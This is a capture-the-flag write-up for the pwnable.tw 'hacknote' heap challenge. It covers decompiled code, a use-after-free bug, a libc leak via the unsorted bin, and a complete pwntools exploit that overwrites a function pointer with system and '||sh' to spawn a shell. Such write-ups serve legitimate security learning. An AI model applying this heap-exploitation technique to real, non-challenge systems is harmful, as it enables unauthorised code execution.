hacknote - pwnable.tw
26/12/2025
pwn | pwnable.tw
Challenge Description
File type
$ file hacknote
hacknote: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter ./ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=a32de99816727a2ffa1fe5f4a324238b2d59a606, stripped
Binary Protection
$ checksec hacknote
[*] './hacknote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8046000)
Background
hacknotegives us 4 operations to manage our notes:- Create a new note
- Delete an existed note
- Print a note
- Exit the program
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :1
Note size :20
Content :abc
Success !
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :3
Index :0
abc
---------------------- HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :2
Index :0
Success
The program saves all notes into a global array of pointer (
noteStoragevar) which has length of 5. We will explore first 3 operations:- Operation 1:
addNote()function
unsigned int addNote() { int v0; // ebx int v2; // [esp-Ch] [ebp-34h] int v3; // [esp-Ch] [ebp-34h] int v4; // [esp-8h] [ebp-30h] int v5; // [esp-8h] [ebp-30h] int v6; // [esp-4h] [ebp-2Ch] int i; // [esp+Ch] [ebp-1Ch] int size; // [esp+10h] [ebp-18h] char buffer[8]; // [esp+14h] [ebp-14h] BYREF unsigned int canary; // [esp+1Ch] [ebp-Ch] canary = __readgsdword(0x14u); if ( globalIndex <= 5 ) { for ( i = 0; i <= 4; ++i ) { if ( !noteStorage[i] ) { noteStorage[i] = malloc(8); if ( !noteStorage[i] ) { puts("Alloca Error"); exit(-1, v2, v4, v6); } *(_DWORD *)noteStorage[i] = printVal; printf("Note size :"); read(0, buffer, 8); size = atoi(buffer); v0 = noteStorage[i]; *(_DWORD *)(v0 + 4) = malloc(size); if ( !*(_DWORD *)(noteStorage[i] + 4) ) { puts("Alloca Error"); exit(-1, v3, v5, v6); } printf("Content :"); read(0, *(_DWORD *)(noteStorage[i] + 4), size); puts("Success !"); ++globalIndex; return __readgsdword(0x14u) ^ canary; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ canary; }- Operation 2:
deleteNote()function
unsigned int deleteNote() { int v1; // [esp-Ch] [ebp-24h] int v2; // [esp-8h] [ebp-20h] int v3; // [esp-4h] [ebp-1Ch] int index; // [esp+4h] [ebp-14h] char buffer[4]; // [esp+8h] [ebp-10h] BYREF unsigned int canary; // [esp+Ch] [ebp-Ch] canary = __readgsdword(0x14u); printf("Index :"); read(0, buffer, 4); index = atoi(buffer); if ( index < 0 || index >= globalIndex ) { puts("Out of bound!"); _exit(0, v1, v2, v3); } if ( noteStorage[index] ) { free(*(_DWORD *)(noteStorage[index] + 4)); free(noteStorage[index]); puts("Success"); } return __readgsdword(0x14u) ^ canary; }- Operation 3:
printNote()function
unsigned int printNote() { int v1; // [esp-Ch] [ebp-24h] int v2; // [esp-8h] [ebp-20h] int v3; // [esp-4h] [ebp-1Ch] int index; // [esp+4h] [ebp-14h] char buffer[4]; // [esp+8h] [ebp-10h] BYREF unsigned int canary; // [esp+Ch] [ebp-Ch] canary = __readgsdword(0x14u); printf("Index :"); read(0, buffer, 4); index = atoi(buffer); if ( index < 0 || index >= globalIndex ) { puts("Out of bound!"); _exit(0, v1, v2, v3); } if ( noteStorage[index] ) (*(void (__cdecl **)(int))noteStorage[index])(noteStorage[index]); // call printVal() function return __readgsdword(0x14u) ^ canary; }- Operation 1:
The structure of a 'note' memory on heap includes the address of
printVal()function and a memory address that stores the content of note.
Vulnerability
- In
deleteNote()function, after free note, it doesn't set that pointer innoteStoragearray toNULL:
if ( noteStorage[index] )
{
free(*(_DWORD *)(noteStorage[index] + 4));
free(noteStorage[index]);
puts("Success");
}
This leads to use-after-free vulnerability.
Exploitation
Leak Libc
- Since it allows to print the content of note, I came up with an idea that use unsorted bins to leak the address of main arena.
- First, I created 2 notes; one to get the address of main arena, one to prevent the chunk of the first one from merging into top chunk. Then I deleted the first note and added a new one which has the same size of content as the first one.
- When a chunk is put into unsorted bin, its
fdandbkpointer must point back to the list head which lives insidemain_arenastruct in libc. It still remains after that chunk is allocated again. - Therefore, I just needed to print the content of the third note to get that address, so that I calculated the libc base address
addNote(0x400, b"abc")
addNote(0x500, b"abc")
deleteNote(0)
addNote(0x400, b"b")
printNote(2)
target.recv(4)
offset_1b07b0 = u32(target.recv(4))
libc.address = offset_1b07b0 - 0x1b07b0
Get Shell
- After having libc base address, it's trivial to calculate the address of
systemfunction.
system_addr = libc.symbols['system']
- Now we have to find where to write the address of
systemfunction and get shell. After analyzing, I decided to write it into first 4 bytes of note memory which contains the address ofprintValfunction. - To do that, I freed chunk of the second and the third note. Since size of chunk of these notes is the same and it is 8 bytes, if we allocate a new note with size of the content is 8, we will do arbitrary write to one of these 2 chunks so that we can change the address of
printValto the address ofsystemfunction. - However, when print note operation happens, it calls
printValfunction with the argument is that note pointer. If we change tosystem, it will callsystem(noteStorage[i])and whatsystemtry to execute is\xf7\xf3...which represents the exact address ofsystemfunction. This command obviously cannot be run. Therefore, to get shell, or executeshcommand in other words, I put||operation between the address ofsystemand commandsh. This makessystemfunction run\xf7\xf3...||shwhich will executeshwhen the first command is fail and it always gets shell because the first command never can be run successfully.
Exploit Code
from pwn import *
import utils
context.terminal = "kitty"
context.log_level = "debug"
context.arch = "i386"
TARGET = "./bin/hacknote"
LIBC = "./lib/libc_32.so.6"
target = process(TARGET)
target = remote("chall.pwnable.tw", 10102)
# gdb.attach(target, gdbscript="b *0x8048a33")
exe = ELF(TARGET)
libc = ELF(LIBC)
def addNote(size: int, content: bytes):
target.sendafter(b"Your choice :", b"1")
target.sendafter(b"Note size :", str(size).encode())
target.sendafter(b"Content :", content)
def deleteNote(index: int):
target.sendafter(b"Your choice :", b"2")
target.sendafter(b"Index :", str(index).encode())
def printNote(index: int):
target.sendafter(b"Your choice :", b"3")
target.sendafter(b"Index :", str(index).encode())
addNote(0x400, b"abc")
addNote(0x500, b"abc")
deleteNote(0)
addNote(0x400, b"b")
printNote(2)
target.recv(4)
offset_1b07b0 = u32(target.recv(4))
libc.address = offset_1b07b0 - 0x1b07b0
system_addr = libc.symbols['system']
deleteNote(1)
deleteNote(2)
addNote(8, p32(system_addr) + b"||sh")
printNote(1)
target.interactive()